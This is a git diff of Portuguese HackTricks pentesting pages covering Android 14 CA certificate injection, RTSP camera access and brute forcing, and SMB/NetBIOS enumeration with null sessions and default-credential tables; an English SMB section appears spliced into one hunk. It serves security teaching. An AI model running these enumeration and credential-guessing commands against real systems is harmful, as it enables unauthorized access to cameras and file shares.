2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no telefone, vá para o aplicativo **Magics** no telefone na seção **`Módulos`**, clique em **`Instalar do armazenamento`**, selecione o módulo `.zip` e uma vez instalado **reinicie** o telefone:
|
||||
2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no telefone, vá para o aplicativo **Magics** no telefone para a seção **`Módulos`**, clique em **`Instalar do armazenamento`**, selecione o módulo `.zip` e uma vez instalado **reinicie** o telefone:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -70,13 +70,13 @@ Explicado neste [**vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8) você
|
|||
|
||||
## Pós Android 14
|
||||
|
||||
No lançamento mais recente do Android 14, observou-se uma mudança significativa no tratamento dos certificados de Autoridade de Certificação (CA) confiáveis pelo sistema. Anteriormente, esses certificados estavam localizados em **`/system/etc/security/cacerts/`**, acessíveis e modificáveis por usuários com privilégios de root, o que permitia a aplicação imediata em todo o sistema. No entanto, com o Android 14, o local de armazenamento foi movido para **`/apex/com.android.conscrypt/cacerts`**, um diretório dentro do caminho **`/apex`**, que é imutável por natureza.
|
||||
No lançamento mais recente do Android 14, observou-se uma mudança significativa no tratamento dos certificados de Autoridade de Certificação (CA) confiáveis pelo sistema. Anteriormente, esses certificados estavam localizados em **`/system/etc/security/cacerts/`**, acessíveis e modificáveis por usuários com privilégios de root, o que permitia a aplicação imediata em todo o sistema. No entanto, com o Android 14, a localização de armazenamento foi movida para **`/apex/com.android.conscrypt/cacerts`**, um diretório dentro do caminho **`/apex`**, que é imutável por natureza.
|
||||
|
||||
Tentativas de remontar o caminho **APEX cacerts** como gravável são frustradas, pois o sistema não permite tais operações. Mesmo tentativas de desmontar ou sobrepor o diretório com um sistema de arquivos temporário (tmpfs) não contornam a imutabilidade; aplicativos continuam acessando os dados do certificado original, independentemente de alterações no nível do sistema de arquivos. Essa resiliência se deve à montagem **`/apex`** ser configurada com propagação PRIVADA, garantindo que quaisquer modificações dentro do diretório **`/apex`** não afetem outros processos.
|
||||
Tentativas de remontar o caminho **APEX cacerts** como gravável são frustradas, pois o sistema não permite tais operações. Mesmo tentativas de desmontar ou sobrepor o diretório com um sistema de arquivos temporário (tmpfs) não contornam a imutabilidade; aplicativos continuam acessando os dados de certificado originais, independentemente de alterações no nível do sistema de arquivos. Essa resiliência se deve à montagem **`/apex`** ser configurada com propagação PRIVADA, garantindo que quaisquer modificações dentro do diretório **`/apex`** não afetem outros processos.
|
||||
|
||||
A inicialização do Android envolve o processo `init`, que, ao iniciar o sistema operacional, também inicia o processo Zygote. Esse processo é responsável por iniciar processos de aplicativos com um novo namespace de montagem que inclui uma montagem privada **`/apex`**, isolando assim as alterações neste diretório de outros processos.
|
||||
A inicialização do Android envolve o processo `init`, que, ao iniciar o sistema operacional, também inicia o processo Zygote. Esse processo é responsável por lançar processos de aplicativos com um novo espaço de montagem que inclui uma montagem privada **`/apex`**, isolando assim as alterações neste diretório de outros processos.
|
||||
|
||||
No entanto, existe uma solução alternativa para aqueles que precisam modificar os certificados CA confiáveis pelo sistema dentro do diretório **`/apex`**. Isso envolve remontar manualmente o **`/apex`** para remover a propagação PRIVADA, tornando-o gravável. O processo inclui copiar o conteúdo de **`/apex/com.android.conscrypt`** para outra localização, desmontar o diretório **`/apex/com.android.conscrypt`** para eliminar a restrição somente leitura e, em seguida, restaurar o conteúdo para sua localização original dentro de **`/apex`**. Esta abordagem requer ação rápida para evitar falhas no sistema. Para garantir a aplicação dessas alterações em todo o sistema, é recomendável reiniciar o `system_server`, o que efetivamente reinicia todos os aplicativos e coloca o sistema em um estado consistente.
|
||||
No entanto, existe uma solução alternativa para aqueles que precisam modificar os certificados CA confiáveis pelo sistema dentro do diretório **`/apex`**. Isso envolve remontar manualmente o **`/apex`** para remover a propagação PRIVADA, tornando-o gravável. O processo inclui copiar o conteúdo de **`/apex/com.android.conscrypt`** para outra localização, desmontar o diretório **`/apex/com.android.conscrypt`** para eliminar a restrição de somente leitura e, em seguida, restaurar o conteúdo para sua localização original dentro de **`/apex`**. Esta abordagem requer ação rápida para evitar falhas no sistema. Para garantir a aplicação dessas alterações em todo o sistema, é recomendável reiniciar o `system_server`, o que efetivamente reinicia todos os aplicativos e coloca o sistema em um estado consistente.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -136,12 +136,11 @@ echo "System certificate injected"
|
|||
```
|
||||
### Montagem de ligação através do NSEnter
|
||||
|
||||
1. **Configurar um Diretório Gravável**: Inicialmente, um diretório gravável é estabelecido montando um `tmpfs` sobre o diretório existente de certificados do sistema não APEX. Isso é alcançado com o seguinte comando:
|
||||
1. **Configurar um Diretório Gravável**: Inicialmente, um diretório gravável é estabelecido montando um `tmpfs` sobre o diretório existente de certificados do sistema não-APEX. Isso é alcançado com o seguinte comando:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Preparando Certificados CA**: Após a configuração do diretório gravável, os certificados CA que se pretende usar devem ser copiados para este diretório. Isso pode envolver copiar os certificados padrão de `/apex/com.android.conscrypt/cacerts/`. É essencial ajustar as permissões e rótulos SELinux desses certificados adequadamente.
|
||||
|
||||
3. **Montagem de Bind para Zygote**: Utilizando `nsenter`, entra-se no namespace de montagem do Zygote. O Zygote, sendo o processo responsável por iniciar aplicativos Android, requer este passo para garantir que todos os aplicativos iniciados daqui em diante utilizem os certificados CA recém-configurados. O comando usado é:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
|
@ -155,18 +154,19 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
|
|||
5. **Abordagem Alternativa - Reinicialização Suave**: Um método alternativo envolve realizar o bind mount no processo `init` (PID 1) seguido por uma reinicialização suave do sistema operacional com os comandos `stop && start`. Esta abordagem propagaria as alterações em todos os namespaces, evitando a necessidade de abordar individualmente cada aplicativo em execução. No entanto, este método geralmente é menos preferido devido ao inconveniente de reinicialização.
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
@ -18,9 +18,9 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
Do [wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol):
|
||||
|
||||
> O **Protocolo de Streaming em Tempo Real** (**RTSP**) é um protocolo de controle de rede projetado para uso em sistemas de entretenimento e comunicações para controlar servidores de mídia de streaming. O protocolo é usado para estabelecer e controlar sessões de mídia entre pontos finais. Clientes de servidores de mídia emitem comandos no estilo VHS, como reproduzir, gravar e pausar, para facilitar o controle em tempo real do streaming de mídia do servidor para um cliente (Vídeo Sob Demanda) ou de um cliente para o servidor (Gravação de Voz).
|
||||
> O **Protocolo de Streaming em Tempo Real** (**RTSP**) é um protocolo de controle de rede projetado para uso em sistemas de entretenimento e comunicações para controlar servidores de mídia de streaming. O protocolo é usado para estabelecer e controlar sessões de mídia entre pontos finais. Clientes de servidores de mídia emitem comandos no estilo VHS, como reproduzir, gravar e pausar, para facilitar o controle em tempo real do streaming de mídia do servidor para um cliente (Vídeo sob Demanda) ou de um cliente para o servidor (Gravação de Voz).
|
||||
>
|
||||
> A transmissão de dados de streaming em si não é uma tarefa do RTSP. A maioria dos servidores RTSP usa o Protocolo de Transporte em Tempo Real (RTP) em conjunto com o Protocolo de Controle em Tempo Real (RTCP) para a entrega de fluxo de mídia. No entanto, alguns fornecedores implementam protocolos de transporte proprietários. O software do servidor RTSP da RealNetworks, por exemplo, também usava o Transporte de Dados Real proprietário da RealNetworks (RDT).
|
||||
> A transmissão de dados de streaming em si não é uma tarefa do RTSP. A maioria dos servidores RTSP usa o Protocolo de Transporte em Tempo Real (RTP) em conjunto com o Protocolo de Controle em Tempo Real (RTCP) para a entrega de fluxo de mídia. No entanto, alguns fornecedores implementam protocolos de transporte proprietários. O software do servidor RTSP da RealNetworks, por exemplo, também usava o Transporte de Dados Real (RDT) proprietário da RealNetworks.
|
||||
|
||||
**Portas padrão:** 554,8554
|
||||
```
|
||||
|
@ -35,13 +35,13 @@ PORT STATE SERVICE
|
|||
|
||||
Dispositivos podem permitir acesso **não autenticado** ou **autenticado**. Para verificar, é enviada uma solicitação "DESCRIBE". Um exemplo básico é mostrado abaixo:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n`
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r`
|
||||
|
||||
Lembre-se, a formatação correta inclui um duplo "\r\n" para uma resposta consistente. Uma resposta "200 OK" indica **acesso não autenticado**, enquanto "401 Unauthorized" sinaliza a necessidade de autenticação, revelando se é necessária **autenticação Básica** ou **Digest**.
|
||||
Lembre-se, o formato correto inclui um duplo "\r\n" para uma resposta consistente. Uma resposta "200 OK" indica **acesso não autenticado**, enquanto "401 Unauthorized" sinaliza a necessidade de autenticação, revelando se é necessária **autenticação Básica** ou **Digest**.
|
||||
|
||||
Para **autenticação Básica**, você codifica o nome de usuário e senha em base64 e os inclui na solicitação da seguinte forma:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n`
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r`
|
||||
|
||||
Este exemplo usa "admin" e "1234" para as credenciais. Aqui está um **script Python** para enviar tal solicitação:
|
||||
```python
|
||||
|
@ -53,11 +53,10 @@ s.sendall(req)
|
|||
data = s.recv(1024)
|
||||
print(data)
|
||||
```
|
||||
**Autenticação básica** é mais simples e preferida. A **autenticação digest** requer manipulação cuidadosa dos detalhes de autenticação fornecidos na resposta "401 Não autorizado".
|
||||
**Autenticação básica** é mais simples e preferida. A **autenticação digest** requer o manuseio cuidadoso dos detalhes de autenticação fornecidos na resposta "401 Não autorizado".
|
||||
|
||||
Esta visão geral simplifica o processo de acesso a fluxos RTSP, focando na **autenticação básica** por sua simplicidade e praticidade em tentativas iniciais.
|
||||
|
||||
|
||||
## Enumeração
|
||||
|
||||
Vamos obter informações sobre os métodos válidos e URLs suportados e tentar forçar o acesso (se necessário) para obter acesso ao conteúdo.
|
||||
|
@ -77,10 +76,11 @@ Para fazer brute force: [https://github.com/Tek-Security-Group/rtsp\_authgrinder
|
|||
* Lançar ataques de dicionário automatizados para obter a rota do stream (por exemplo /live.sdp)
|
||||
* Lançar ataques de dicionário automatizados para obter o nome de usuário e senha das câmeras
|
||||
* Gerar miniaturas para verificar se os streams são válidos e ter uma prévia rápida do conteúdo
|
||||
* Tentar criar um pipeline Gstreamer para verificar se estão codificados corretamente
|
||||
* Imprimir um resumo de todas as informações que o Cameradar conseguiu obter
|
||||
* Tentar criar um pipeline do Gstreamer para verificar se estão codificados corretamente
|
||||
* Imprimir um resumo de todas as informações que o Cameradar pôde obter
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol)
|
||||
* [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
|
||||
|
@ -91,10 +91,10 @@ Para fazer brute force: [https://github.com/Tek-Security-Group/rtsp\_authgrinder
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,19 +4,19 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Porta 139**
|
||||
|
||||
O **_Sistema Básico de Entrada e Saída de Rede_ (NetBIOS)** é um protocolo de software projetado para permitir que aplicativos, PCs e Desktops dentro de uma rede local (LAN) interajam com hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicativos de software operando em uma rede NetBIOS são alcançadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e são frequentemente distintos do nome do computador. Uma sessão NetBIOS entre dois aplicativos é iniciada quando um aplicativo (atuando como cliente) emite um comando para "chamar" outro aplicativo (atuando como servidor) utilizando a **Porta TCP 139**.
|
||||
O _**Sistema Básico de Entrada e Saída de Rede**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicativos, PCs e Desktops dentro de uma rede local (LAN) interajam com hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicativos de software operando em uma rede NetBIOS são alcançadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e frequentemente são distintos do nome do computador. Uma sessão NetBIOS entre dois aplicativos é iniciada quando um aplicativo (atuando como cliente) emite um comando para "chamar" outro aplicativo (atuando como servidor) utilizando **Porta TCP 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
|
@ -24,7 +24,7 @@ O **_Sistema Básico de Entrada e Saída de Rede_ (NetBIOS)** é um protocolo de
|
|||
|
||||
Tecnicamente, a Porta 139 é referida como 'NBT sobre IP', enquanto a Porta 445 é identificada como 'SMB sobre IP'. O acrônimo **SMB** significa '**Server Message Blocks**', que também é conhecido modernamente como o **Common Internet File System (CIFS)**. Como protocolo de rede da camada de aplicação, o SMB/CIFS é principalmente utilizado para permitir o acesso compartilhado a arquivos, impressoras, portas seriais e facilitar vários tipos de comunicação entre nós em uma rede.
|
||||
|
||||
Por exemplo, no contexto do Windows, destaca-se que o SMB pode operar diretamente sobre o TCP/IP, eliminando a necessidade do NetBIOS sobre TCP/IP, por meio da utilização da porta 445. Por outro lado, em sistemas diferentes, observa-se o uso da porta 139, indicando que o SMB está sendo executado em conjunto com o NetBIOS sobre TCP/IP.
|
||||
Por exemplo, no contexto do Windows, destaca-se que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, por meio da utilização da porta 445. Por outro lado, em sistemas diferentes, observa-se o uso da porta 139, indicando que o SMB está sendo executado em conjunto com o NetBIOS sobre TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
|
@ -38,18 +38,17 @@ Compartilhamentos, representando **partes arbitrárias do sistema de arquivos lo
|
|||
|
||||
O acesso ao compartilhamento IPC$ pode ser obtido por meio de uma sessão nula anônima, permitindo a interação com serviços expostos por meio de pipes nomeados. A utilidade `enum4linux` é útil para esse fim. Utilizado corretamente, ele permite a aquisição de:
|
||||
|
||||
- Informações sobre o sistema operacional
|
||||
- Detalhes sobre o domínio pai
|
||||
- Uma compilação de usuários e grupos locais
|
||||
- Informações sobre compartilhamentos SMB disponíveis
|
||||
- A política de segurança do sistema eficaz
|
||||
* Informações sobre o sistema operacional
|
||||
* Detalhes sobre o domínio pai
|
||||
* Uma compilação de usuários e grupos locais
|
||||
* Informações sobre compartilhamentos SMB disponíveis
|
||||
* A política de segurança do sistema eficaz
|
||||
|
||||
Essa funcionalidade é fundamental para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema-alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
O comando acima é um exemplo de como o `enum4linux` pode ser usado para realizar uma enumeração completa contra um alvo especificado por `target_ip`.
|
||||
|
||||
O comando acima é um exemplo de como o `enum4linux` pode ser usado para realizar uma enumeração completa contra um alvo especificado pelo `target_ip`.
|
||||
|
||||
## O que é NTLM
|
||||
|
||||
|
@ -69,7 +68,7 @@ nbtscan -r 192.168.0.1/24
|
|||
|
||||
Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas usadas, você pode:
|
||||
|
||||
* Usar o módulo auxiliar **MSF** _**auxiliary/scanner/smb/smb\_version**
|
||||
* Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
|
||||
* Ou este script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -96,10 +95,10 @@ searchsploit microsoft smb
|
|||
|
||||
| **Nome de Usuário(s)** | **Senhas Comuns** |
|
||||
| ---------------------- | --------------------------------------- |
|
||||
| _(em branco)_ | _(em branco)_ |
|
||||
| convidado | _(em branco)_ |
|
||||
| _(em branco)_ | _(em branco)_ |
|
||||
| convidado | _(em branco)_ |
|
||||
| Administrador, admin | _(em branco)_, senha, administrador, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| teste, lab, demo | senha, teste, lab, demo |
|
||||
|
@ -182,7 +181,7 @@ run
|
|||
|
||||
### Listar pastas compartilhadas
|
||||
|
||||
É sempre recomendado verificar se você pode acessar algo, se não tiver credenciais, tente usar **credenciais nulas/usuário convidado**.
|
||||
É sempre recomendado verificar se você pode acessar alguma coisa, se você não tiver credenciais, tente usar **credenciais nulas/usuário convidado**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
@ -210,7 +209,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
|||
```
|
||||
### **Enumerar manualmente compartilhamentos do Windows e conectá-los**
|
||||
|
||||
Pode ser possível que você esteja restrito a exibir quaisquer compartilhamentos da máquina host e, ao tentar listá-los, pareça que não há nenhum compartilhamento para se conectar. Portanto, pode valer a pena tentar se conectar manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode procurar por respostas como NT\_STATUS\_ACCESS\_DENIED e NT\_STATUS\_BAD\_NETWORK\_NAME, ao usar uma sessão válida (por exemplo, uma sessão nula ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe de forma alguma.
|
||||
Pode ser possível que você esteja restrito a exibir quaisquer compartilhamentos da máquina host e, ao tentar listá-los, pareça que não há nenhum compartilhamento para se conectar. Portanto, pode valer a pena tentar se conectar manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode procurar por respostas como NT\_STATUS\_ACCESS\_DENIED e NT\_STATUS\_BAD\_NETWORK\_NAME, ao usar uma sessão válida (por exemplo, uma sessão nula ou credenciais válidas). Essas respostas podem indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe de forma alguma.
|
||||
|
||||
Nomes comuns de compartilhamentos para alvos do Windows são
|
||||
|
||||
|
@ -247,92 +246,82 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
|||
fi
|
||||
done
|
||||
```
|
||||
# Pentesting SMB
|
||||
# Pentesting SMB Services
|
||||
|
||||
## Enumeration
|
||||
|
||||
### SMB Version Detection
|
||||
|
||||
To detect the SMB version running on a target system, you can use tools like **Nmap** or **SMBMap**.
|
||||
To detect the SMB version running on a target system, you can use tools like **nmap** or **smbclient**.
|
||||
|
||||
#### Nmap
|
||||
#### Using nmap
|
||||
|
||||
```bash
|
||||
nmap -p 445 --script=smb-protocols <target>
|
||||
nmap -p 139,445 --script=smb-protocols <target>
|
||||
```
|
||||
|
||||
#### SMBMap
|
||||
#### Using smbclient
|
||||
|
||||
```bash
|
||||
smbmap -H <target>
|
||||
smbclient -L //<target>
|
||||
```
|
||||
|
||||
### SMB User Enumeration
|
||||
### Enumerating Shares
|
||||
|
||||
You can enumerate SMB users using tools like **enum4linux** or **SMBMap**.
|
||||
To list available shares on an SMB server, you can use tools like **smbclient** or **enum4linux**.
|
||||
|
||||
#### enum4linux
|
||||
#### Using smbclient
|
||||
|
||||
```bash
|
||||
enum4linux -U -S <target>
|
||||
smbclient -L //<target>
|
||||
```
|
||||
|
||||
#### SMBMap
|
||||
#### Using enum4linux
|
||||
|
||||
```bash
|
||||
smbmap -u <user> -H <target>
|
||||
enum4linux -a <target>
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Brute Forcing
|
||||
|
||||
You can perform brute force attacks against SMB using tools like **Hydra** or **CrackMapExec**.
|
||||
|
||||
#### Hydra
|
||||
#### Using smbclient
|
||||
|
||||
```bash
|
||||
hydra -t 1 -l <user> -P /path/to/passwords.txt smb://<target>
|
||||
smbclient -U <username>%<password> //<target>/<share>
|
||||
```
|
||||
|
||||
#### CrackMapExec
|
||||
#### Using Metasploit
|
||||
|
||||
```bash
|
||||
crackmapexec smb <target> -u <user> -p /path/to/passwords.txt
|
||||
use auxiliary/scanner/smb/smb_login
|
||||
```
|
||||
|
||||
### SMB Relay Attack
|
||||
### Exploiting Vulnerabilities
|
||||
|
||||
You can perform SMB relay attacks using tools like **Responder** or **Impacket**.
|
||||
#### MS08-067
|
||||
|
||||
#### Responder
|
||||
Exploit for a critical vulnerability in Windows Server service.
|
||||
|
||||
```bash
|
||||
responder -I eth0 -wrf
|
||||
```
|
||||
#### MS17-010
|
||||
|
||||
#### Impacket
|
||||
|
||||
```bash
|
||||
ntlmrelayx.py -t smb://<target>
|
||||
```
|
||||
Exploit for the EternalBlue vulnerability affecting SMBv1.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
### File Transfer
|
||||
### Accessing Files
|
||||
|
||||
You can transfer files to and from a compromised system using tools like **SMBClient** or **Impacket**.
|
||||
|
||||
#### SMBClient
|
||||
#### Using smbclient
|
||||
|
||||
```bash
|
||||
smbclient //<target>/share -U <user>
|
||||
smbclient //<target>/<share>
|
||||
```
|
||||
|
||||
#### Impacket
|
||||
#### Using Metasploit
|
||||
|
||||
```bash
|
||||
impacket-smbclient //<target>/share -no-pass
|
||||
meterpreter > shell
|
||||
```
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
|
@ -431,15 +420,15 @@ A configuração padrão de um servidor **Samba** geralmente está localizada em
|
|||
| **Configuração** | **Descrição** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Permitir listar compartilhamentos disponíveis no compartilhamento atual? |
|
||||
| `read only = no` | Proibir a criação e modificação de arquivos? |
|
||||
| `writable = yes` | Permitir que usuários criem e modifiquem arquivos? |
|
||||
| `read only = no` | Proibir a criação e modificação de arquivos? |
|
||||
| `writable = yes` | Permitir que usuários criem e modifiquem arquivos? |
|
||||
| `guest ok = yes` | Permitir conexão ao serviço sem usar uma senha? |
|
||||
| `enable privileges = yes` | Honrar privilégios atribuídos a SID específicos? |
|
||||
| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? |
|
||||
| `enable privileges = yes` | Respeitar privilégios atribuídos a SID específicos? |
|
||||
| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? |
|
||||
| `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? |
|
||||
